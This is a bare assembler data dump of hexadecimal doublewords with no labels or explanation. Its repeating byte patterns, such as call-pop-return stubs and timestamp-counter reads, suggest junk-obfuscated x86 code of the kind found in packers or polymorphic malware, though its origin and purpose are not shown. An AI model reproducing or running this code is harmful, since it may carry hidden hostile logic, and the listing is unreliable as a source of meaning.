dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CAC35343h, 518E6E26h
dd 0C38B8E9Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0FDC35646h, 4E8C153h, 0E2F766F8h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 2CC35545h, 6AD82Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 8BE5C5C3h, 32A69B5h, 8B665006h, 241C89F7h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2DC35343h, 6C9E99E3h
dd 78CF8166h, 3830FE5h, 0F000000h, 0B5FFF8B7h, 6032879h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FCC35545h
dd 0D0C6C249h, 0FFF1B70Fh, 31FB995h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0EC8A99E7h
dd 0EC93BE79h, 0B07F70h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 8DC35242h, 8EC0A284h, 0A24C0313h, 0B50BF38Bh
dd 60301C5h, 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 6AD9ACC3h, 819E0CF8h, 0FC82D3E7h
dd 5671E451h, 0A691F9BFh, 613C5E73h, 24B830Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 8B6687C3h, 0D8B60FF9h, 6BAh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 7C4F48F7h
dd 39958953h, 5E06031Ch, 6AC38Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 0E99079C3h, 10h, 4FDD0846h
dd 1ED4123Bh, 25BC19D3h, 3C8A4954h, 6604E8C1h, 8AB8C681h
dd 29E2F766h, 32AFD9Dh, 8BD82B06h, 31BADBDh, 6A5806h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0E2644AC3h, 0CC1A087h, 4B7CF81h, 0D82B0321h, 17F880Fh
dd 0BD8B0000h, 60324E9h, 2C79BD23h, 7B90603h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 4DE4C352h, 0A263AE3Ch, 3B00C183h, 42860FD9h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 6676C353h, 6AD98Ch, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 80CA04C3h
dd 0E9D3DA3Fh, 14h, 0C3FC76B9h, 208762CDh, 0E68748BFh
dd 0D7450D1Eh, 9649183Ch, 0F04C1F6h, 0B584h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 907BF05h, 0DBC794F2h, 0B58B0C17h, 6033215h, 11A595FFh
dd 9D890603h, 6030439h, 19BD8B5Bh, 2B060331h, 51006AC3h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BF66FFDAh, 343D1D69h, 0F000008h, 4986h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 5312E86Fh, 8B0F3ADCh, 1, 0FF860F9h, 0E961DFBFh, 41h
dd 6880Fh, 8D890000h, 60323D5h, 5E9h, 6C4D9400h, 0C08B2EF8h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B4C35343h
dd 665624D6h, 1560CBFh, 314559Dh, 8BC38B06h, 52006AD8h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0B0140F78h, 86124D8Ah, 13E89598h, 45000000h, 8F65667Ah
dd 1DF46368h, 455DD9D9h, 0CA120967h, 0B5898DCEh, 60308C9h
dd 0AD85C75Eh, 9D060313h, 0F3CA6F7h, 1C81h, 10E800h, 0B5C10000h
dd 5BEF0B0Fh, 819EF48Eh, 33A049FAh, 8A0F2BF9h, 0
aLJ db '^‹Àj',0
db 56h, 0E8h, 3
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0DB22C356h, 0FE8B66A0h, 2879BD81h, 7D00603h, 850F0000h
dd 4Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
dd 45C35040h, 1B7E334Fh, 66453786h, 85FFFB8Bh, 6032879h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 9BC35747h
dd 0B5FF7412h, 6032879h, 0FFF98B66h, 31FB995h, 0BF665306h
dd 905FCCBEh, 14E940h, 0ACF10000h, 4114AEA7h, 1BA31EFh
dd 0E35DD7ACh, 68D3FF49h, 0BD83C687h, 6030351h, 9E840F00h
dd 89000000h, 3327D8Dh, 85BD8306h, 6032Eh, 8B840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 80DB3C3h, 0DE3AEA2Ah, 0F78177E6h, 78251518h, 35195FFh
dd 0C00B0603h, 53840Fh, 880F0000h, 6, 2C35B52Bh, 8D8D0603h
dd 6034D1Ch, 2191B58Bh, 5B80603h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 0F78C350h, 4D8AB014h, 95988612h, 0FFF3B70Fh, 199D89E1h
dd 8B060306h, 301F9B5h, 0E1BD8306h, 60313h, 751840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0A0AD3DC3h, 81667CB7h, 663288C6h, 836A45BEh, 32E85BDh
dd 840F0006h, 71Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 94C35545h, 0D88D2005h, 0EE8B75Ah, 18000000h
dd 0F1CEA69Ch, 6080859Dh, 98A706D9h, 35BE66FCh, 14E95F24h
dd 61000000h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
dd 8D658BE6h, 3227D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 8103B691h, 8401C765h
dd 6A44B27Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 0CAFAC357h, 608E6E26h, 2EA5B531h
dd 3FBE0603h, 6105A2ECh, 0CFCB0181h, 6A1499h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 8CF8EAC3h
dd 819151A8h, 0FE9h, 0C8BA6E00h, 49594F4Bh, 0B52FAB45h
dd 0E123EA0Dh, 26CDB58Bh, 41C70603h, 706B3404h, 57006ACEh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 60ED5502h, 1499094Ch, 0A5BE156Ah, 8B5BD304h, 30659BDh
dd 4418106h, 31D6D710h, 6DF78166h, 8B006A4Fh, 31BA9B5h
dd 8DFE8B06h, 3227D85h, 0F88B6606h, 10DDBD8Bh, 50900603h
dd 5A310F52h, 52505058h, 2FBB6660h, 619AB245h, 79BE310Fh
dd 5A5A4518h, 6A9058h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 6892DEC3h, 1C77B88Ch, 9E9h, 4D06CF00h
dd 6058BC56h, 95FF1A01h, 60313E1h, 0CE9h, 0AF283C00h, 0CB8056B9h
dd 0BB4E91D4h, 7D8D8D70h, 6A060322h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FA9C357h
dd 1C7FBBFh, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 93C35343h
dd 0EB04BEEDh, 0BD8B59F5h, 6032519h, 441C7h, 0F000000h
dd 283h, 66F08B00h, 0BEC47BEh, 98840FC0h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0D33EC355h, 0C4E4F2B9h, 4D1C8D8Dh, 0DF810603h, 0C8A217Eh
dd 5B8h, 17880F00h, 0E9000000h, 12h, 0B6504DB0h, 0FDF483FCh
dd 0AD4C44F0h, 38E0F099h, 0E1FF19B9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 44C35646h, 0F18B6633h, 1B8B0Fh
dd 870F0000h, 15h, 10E9h, 782B3E00h, 0C7421E35h, 0FE49B0A9h
dd 0DC50D327h, 39BD8B01h, 8D060313h, 3227D8Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 8166E91Ah, 8B2FD2D6h, 31CC5BDh, 7C01C706h, 8B44AA72h
dd 305A1B5h, 0CB018106h, 0C71499CFh, 753C0441h, 6ACE78h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 905C3h, 31D7E0F5h, 0F18B6632h, 10044181h, 0E931D6D7h
dd 0Fh, 47E82A96h, 0F6649EE1h, 0CDE1F487h, 6AAB28A8h, 6E900h
dd 0A7960000h, 82AF4B68h, 68C0Fh, 95890000h, 6030021h
dd 227D858Dh, 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 7A4EEEC3h, 1C5B529h, 0B70F0603h
dd 14E950FAh, 0B1000000h, 0F99F726Bh, 894B727Fh, 0ABF5ED68h
dd 0C2B3C5FFh, 89615198h, 0BD092404h, 6031135h, 13E195FFh
dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 72F442C3h, 78A99F22h, 898B9B93h, 31CC58Dh
dd 7D8D8D06h, 66060322h, 8D0FFA8Bh, 6, 1E71B58Bh, 1C70603h
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 19C35747h
dd 31BD333Ch, 0C7060324h, 441h, 0B58B0000h, 603109Dh, 840FC00Bh
dd 0B0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0CFC35747h, 16B1C06Bh, 668F8D61h, 5CB4CE81h, 5640CE81h
dd 8D8D68F6h, 6034D1Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 0F6C35242h, 2597738Fh, 7E9h, 86A14600h
dd 558153EDh, 5B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 3A00888Ah, 0F5CDDCBCh
dd 0E1FFC28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 90C35141h, 5501F5A3h, 5256BF66h, 227D8D8Dh, 6A0603h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 2FDAF3C3h, 0B58B4DEAh, 60302E5h, 0C7F9B70Fh, 0CA95A501h
dd 55006A54h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 853150A4h, 6031C19h, 0CFCB0181h, 6A1499h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0CCBC4AC3h, 1D85B589h, 85090603h, 6031FFDh, 690441C7h
dd 89CE5F59h, 32469B5h, 4418106h, 31D6D710h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5BC35646h, 0F73ADDD5h
dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 89788FC3h, 93850AFh, 0E181601Dh, 20B89DDEh
dd 858D61F9h, 603227Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0FDC35343h, 0E1738149h, 0F4D5212h, 68Dh
dd 5D8D8900h, 8B060328h, 31059BDh, 52509006h, 0FF28B66h
dd 0CE931h, 9B400000h, 0DE0E43A6h, 0B88C6892h, 585A1C77h
dd 5E950h, 0F1BE0000h, 90EB44EDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 6DC35343h, 0B531A724h, 6032F3Dh
dd 13E195FFh, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0E7669CC3h, 8D8D09C1h, 603227Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 22C35646h
dd 66E21F2Ch, 1C7FE8Bh, 0
dd 29FAE681h, 41C7076Ch, 4, 9D315200h, 60329F9h, 15BD895Eh
dd 0B06031Fh, 5C840FC0h, 0BE000000h, 3788BF0h, 4D1C8D8Dh
dd 0BE90603h, 0D5000000h, 0A0ED952Ah, 0E98665F7h, 5B809BAh
dd 0E9000000h, 0Ah, 0E006C88Fh, 0FB8E78FEh, 0E1FF5FD9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1BC35747h
dd 0B7B7910Fh, 85A5158Dh, 799D89D8h, 306031Eh, 0F04FE9CAh
dd 8166FFFFh, 0BEA269DFh, 6778CACFh, 0B503C18Bh, 60308CDh
dd 4EBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8BF050C3h, 6AF18BF3h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0B85CC353h, 8A0F2AA7h, 5, 0CA2A39BEh, 9D8B6015h, 6031A09h
dd 1269BD8Bh, 8D610603h, 3281185h, 0F2BF0F06h, 0F525090h
dd 85h, 0E8310F00h, 6, 0B1CBCBD5h, 800FD70Fh, 0
dd 50585A5Eh, 4840Fh, 0BE660000h, 6A909EE3h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 8827C357h, 0A11354B7h, 6850Fh, 0B58B0000h, 6031FCDh
dd 6A006Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0E9C35141h, 0F6FCBE9h, 68Dh, 0F1B58B00h, 8D060311h
dd 6D9A185h, 0C5BD8906h, 8306032Eh, 6A05C0h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 612D2EC3h
dd 44CE633Ah, 90313712h, 21F2BE66h, 90616050h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9AC35545h, 514C297h
dd 0B1DB589h, 8B0F0603h, 3, 6AF08B66h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 2F5DEBCCh, 0FF006AF7h, 30CC995h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 95788B1Bh
dd 0A6685C33h, 97479D8Dh, 6A0606h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8D89FBC3h, 6032465h
dd 0B58BD3FFh, 60325E5h, 2A1585FFh, 80600603h, 0D0813FEAh
dd 63CF2351h, 9F8E961h, 0E80000h, 5D000000h, 0D9ABED81h
dd 85010606h, 60311A1h, 2879BD81h, 7D00603h, 860F0000h
dd 1CAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 61C35545h, 66FA0AA4h, 0FF08BBEh, 181h, 9D8BFC00h
dd 6031BC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 17C35343h, 0F779E638h, 0BAA2C674h, 598D8914h, 0F060323h
dd 583h, 0EE816600h, 0E3815166h, 100h, 850FDB0Bh, 0BDh
dd 33EF8160h, 0E844110Eh, 13h, 17D79611h, 0DB16DB68h, 0D5E272B4h
dd 8D94B09Eh, 29C0A284h, 3299D85h, 83615B06h, 6D7BABDh
dd 840F0006h, 4Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 0B6C35747h, 80880AA2h, 0A6E9870Dh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 0FC15C351h, 1CCD9531h, 8B660603h, 0BA85C7F7h
dd 10606D7h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 35A7C353h, 0E389D4C3h
dd 50E9h, 0D58D2900h, 8106030Fh, 3DB48AF6h, 0BA85C764h
dd 606D7h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 474C356h, 11ADBD89h, 0E9600603h
dd 10h, 0CE7D447Fh, 89B4887Eh, 9C19F383h, 70BDCFD1h, 0C99D8D61h
dd 6A06031Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 2B1AC357h, 2CB8CBC4h, 0B58B144Dh
dd 60326ADh, 0FEFF2381h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 847CEAC3h, 8C6653B3h
dd 53006ADBh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 8B67CDE6h, 3125DB5h, 4C3F606h, 7A840Fh
dd 31600000h, 30FFDB5h, 5CD4BF06h, 0FF616053h, 311A595h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 49C8C871h, 8166CA66h, 50CDB6C6h, 10E8h
dd 25605C00h, 62EF1CF0h, 4C4173E1h, 1B06C538h, 0FE88Eh
dd 3CBA0000h, 6A54F06Dh, 0A05456D5h, 6F941A54h, 5E81Dh
dd 90390000h, 5EEDD1AAh, 4895E5Eh, 890F24h, 0F5000000h
dd 364E9h, 15B58B00h, 0B0060323h, 0FA8B6000h, 70E661F9h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5CC35141h
dd 4087425Eh, 8901F36Bh, 30601B5h, 6A71E406h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 8B02C356h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 41A2C353h, 6BAE36Dh
dd 8B000000h, 299589C3h, 0C106030Ah, 816604E8h, 0F929C5EEh
dd 81E2F766h, 5C9BDED6h, 6AD82B7Eh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 35FDC355h
dd 2D929501h, 0B50B299Dh, 603306Dh, 5E85093h, 67000000h
dd 4D74549Ah, 0FE960h, 3E590000h, 729F2589h, 0E514E2ABh
dd 0E4703FB6h, 0EABE6642h, 935E615Bh, 26118D89h, 0B5FF0603h
dd 6032879h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 2DC35040h, 8D2360FEh, 60303F1h, 71950161h, 0FF060313h
dd 31FB995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 0B0743D1Dh, 0C1952900h, 0E606030Fh
dd 57006A70h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 0F12583BBh, 0F28B71E4h, 830F613Ch, 1E9h
dd 9E9h, 0F2871400h, 0E167ED52h, 0B60F10BEh, 50006AD8h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 1C009AFBh, 0B58B921Fh, 6030975h, 6BAh, 66C38B00h, 1634F681h
dd 6A04E8C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 748CC356h, 86703185h, 0E2F7660Eh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FEC35646h
dd 53C9BC9Dh, 2B24337Dh, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 5841C635h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 28C35343h, 66DB7AF8h
dd 0D82BF08Bh, 10F880Fh, 12E80000h, 0E0000000h, 0D61BEE5Fh
dd 31263751h, 7DDBE553h, 8374E24Bh, 0DDB589ACh, 5E06031Eh
dd 1EDB589h, 7B90603h, 8B000000h, 32089B5h, 0C18306h, 860FD93Bh
dd 0D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 16h, 25C35242h, 0BE66136Eh, 8C668E29h, 0C9B58BD9h, 2906032Bh
dd 31ECD85h, 4C1F606h, 93840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 91D055C3h
dd 0A595FF72h, 89060311h, 31D699Dh, 5958906h, 5B060332h
dd 9E99589h, 0C32B0603h, 132DB58Bh, 343D0603h, 0F000008h
dd 4886h, 14E900h, 0B1640000h, 0FBF5BD72h, 0E233137Eh
dd 0DD76680Ch, 886F599Dh, 32E96ACFh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 379EC357h, 85C2AECDh, 8B456E7Fh, 32389B5h, 23C08B06h
dd 31E71B5h, 8BC38B06h, 45B589D8h, 0C7060301h, 3293D85h
dd 747B906h, 51006A5Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 66603358h, 8B60FB8Bh, 32D6D95h, 6161F906h
dd 0C08BF38Bh, 81F0BF0Fh, 32879BDh, 7D006h, 53850F00h
dd 0E8000000h, 12h, 6C08BFE0h, 8F7A8425h, 5F520437h, 57269A0h
dd 0BE8F57Eh, 17000000h, 972DBC61h, 0DB24612Fh, 0F78BE392h
dd 85FF5E5Eh, 6032879h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0C4C35141h, 9CD966A6h, 0B5FF2691h, 6032879h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 7CC35646h
dd 0E9F63EBCh, 95FF8D0Ah, 6031FB9h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 0FC35646h, 0EB1C8CECh, 8501500Dh
dd 60311DDh, 255DBD89h, 8B900603h, 880FD8h, 83000000h
dd 32CDDBDh, 840F0006h, 36h, 209DB589h, 0C9E90603h, 6A000002h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 7D21C351h, 0C40D2C9h, 2956DB46h, 30C5185h
dd 0DF8C5E06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 83C35545h, 6E90BD2Fh, 0A2BB90D0h, 0A995899Dh, 66060310h
dd 4C7F7h, 266850Fh, 0B50B0000h, 60331A9h, 8589FF2Bh, 6032999h
dd 0E3179D8Dh, 0B58B0606h, 603097Dh, 50525093h, 0F616052h
dd 0F585A31h, 8B665731h, 585A5EF2h, 93F08B50h, 2C018D89h
dd 0FF640603h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0FD322EAAh, 0BE6672AEh
dd 896432DBh, 25h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0DD662223h, 8E0FC48Bh
dd 0Ah, 4830Fh, 0BE660000h, 1CD7443h, 6A00EBh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0E9D958C3h, 5, 38AC60Ch, 39B58B35h, 6A06031Ch, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 8E2CC352h, 0B53365C7h, 6033211h, 14E9h, 82423B00h, 1EE9C2EAh
dd 0BA451E2Eh, 2B94E6FDh, 66C7B96Eh, 58F64E8h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 93C35242h
dd 83F2BF0Fh, 0BDBE04C4h, 0B63FB76h, 25840FC0h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0E066C356h, 0FA6C871Eh, 14E9h, 0ABCA3100h
dd 4C05B85Ah, 0B2446EBCh, 0CA0A14F9h, 0E34262D6h, 0F6B70F44h
dd 4D1CBD8Dh, 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0EBEB12C3h, 5B8F5h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0D2CE49C3h, 5536C81Fh, 6AE7FFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 57AC4CC3h, 10245C8Bh
dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h
dd 0B8h, 0C0335F02h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 57006A54h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 5AB64611h
dd 13E865h, 2EFE0000h, 61FF03Eh, 925B631Dh, 7262E663h
dd 0D4095170h, 499D310Fh, 5E060321h, 0BE9CA2Bh, 8BFFFFF6h
dd 0C18BF5F2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 5FC35343h, 0C48CDABFh, 4EB21h, 0E8000000h, 14h
dd 7F303145h, 85D7E423h, 1D7A8232h, 653A7B4Fh, 10BAE66Bh
dd 8E9h, 0DF073500h, 71D021Dh, 0FCBF5FB7h, 6A370B6Ch, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 140CC351h, 0C999F4FFh, 0F795056h, 189h, 858DF800h, 6032811h
dd 2D8D3151h, 5F060302h, 0AD37BF56h, 505F084Ch, 14E95250h
dd 0AB000000h, 51AB9749h, 2F2DA4B2h, 8B68E787h, 0B440D97h
dd 0FCECB02h, 89585A31h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 0C6C8CFC3h, 408E2FBEh
dd 0DE9h, 0EDD31200h, 2260E3FEh, 0A3833975h, 6A0B7Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7CC35242h, 6ACB1Eh
dd 28519589h, 858D0603h, 606E5DFh, 3820Fh, 0BF0F0000h
dd 5C083F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 11C35747h, 9E0F02E7h, 900CBC0Ah, 0CABE6650h, 0F505EADh
dd 88Bh, 60525000h, 5A310F61h, 6A9058h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 6BBFF9C3h
dd 0CEE1D7D0h, 89657A3Ah, 3201195h, 89006A06h, 3096985h
dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 6F37C356h, 0E8A1F6E6h, 0Ch, 0F615A49Ah
dd 43945E96h, 0D1239AB4h, 14E9h, 8F3B4A00h, 381C0BEEh
dd 0CB8FDE35h, 9721BBA5h, 0C870B353h, 95FF5F01h, 6030CC9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 6FC35040h
dd 0E2868CAEh, 8D97F3E1h, 697479Dh, 0FA8B6606h, 85FFD3FFh
dd 6032A15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 2BC35646h, 0CB65DAE1h, 8B0FBBh, 0E9000000h, 86Bh
dd 0E8h, 0ED815D00h, 606E5E9h, 10658589h, 0BD810603h, 6032879h
dd 7D0h, 183860Fh, 66F90000h, 54D5CE81h, 25CD9D8Bh, 6A0603h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 333372C3h, 0EF773182h, 0BFD9C197h, 761B8735h, 100E381h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 3F155FC3h, 0BC10BD9h, 0E2850FDBh, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 1D96C356h, 0D5191AB3h, 12E9h, 7CD12B00h
dd 0D96D8755h, 1C06EC09h, 73C7425h, 29629BBCh, 31B4595h
dd 0C3BD8306h, 606E3h, 52840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 711A1BC3h
dd 0BD89A047h, 6032E39h, 7CE9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 7493BFCh, 6640EC23h
dd 0E175E781h, 0E3C385C7h, 10606h, 12E90000h, 0A1000000h
dd 0AB923343h, 12B51242h, 176A4EDEh, 24297285h, 2FE9E3h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0BF0F83C3h, 0C385C7FEh, 606E3h, 9000000h
dd 3304DB5h, 0CD9D8D06h, 81060325h, 0FFFEFF23h, 55006AFFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0B0665FE8h, 0DB8C66CCh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 0E5C35242h, 0EBF3652h, 0D681CA62h, 42B7ACFBh
dd 0F04C3F6h, 7584h, 0FE96000h, 0D6000000h, 0C0189DC2h
dd 0BD6CE064h, 57045A9Fh, 8A0F3997h, 6, 23398D31h, 0FF610603h
dd 311A595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 0B7E8BA0Eh, 2991B529h, 0E9570603h
dd 0Fh, 490E743Fh, 1B306D7Ch, 4651D700h, 5F0AC1F6h, 8FBE6690h
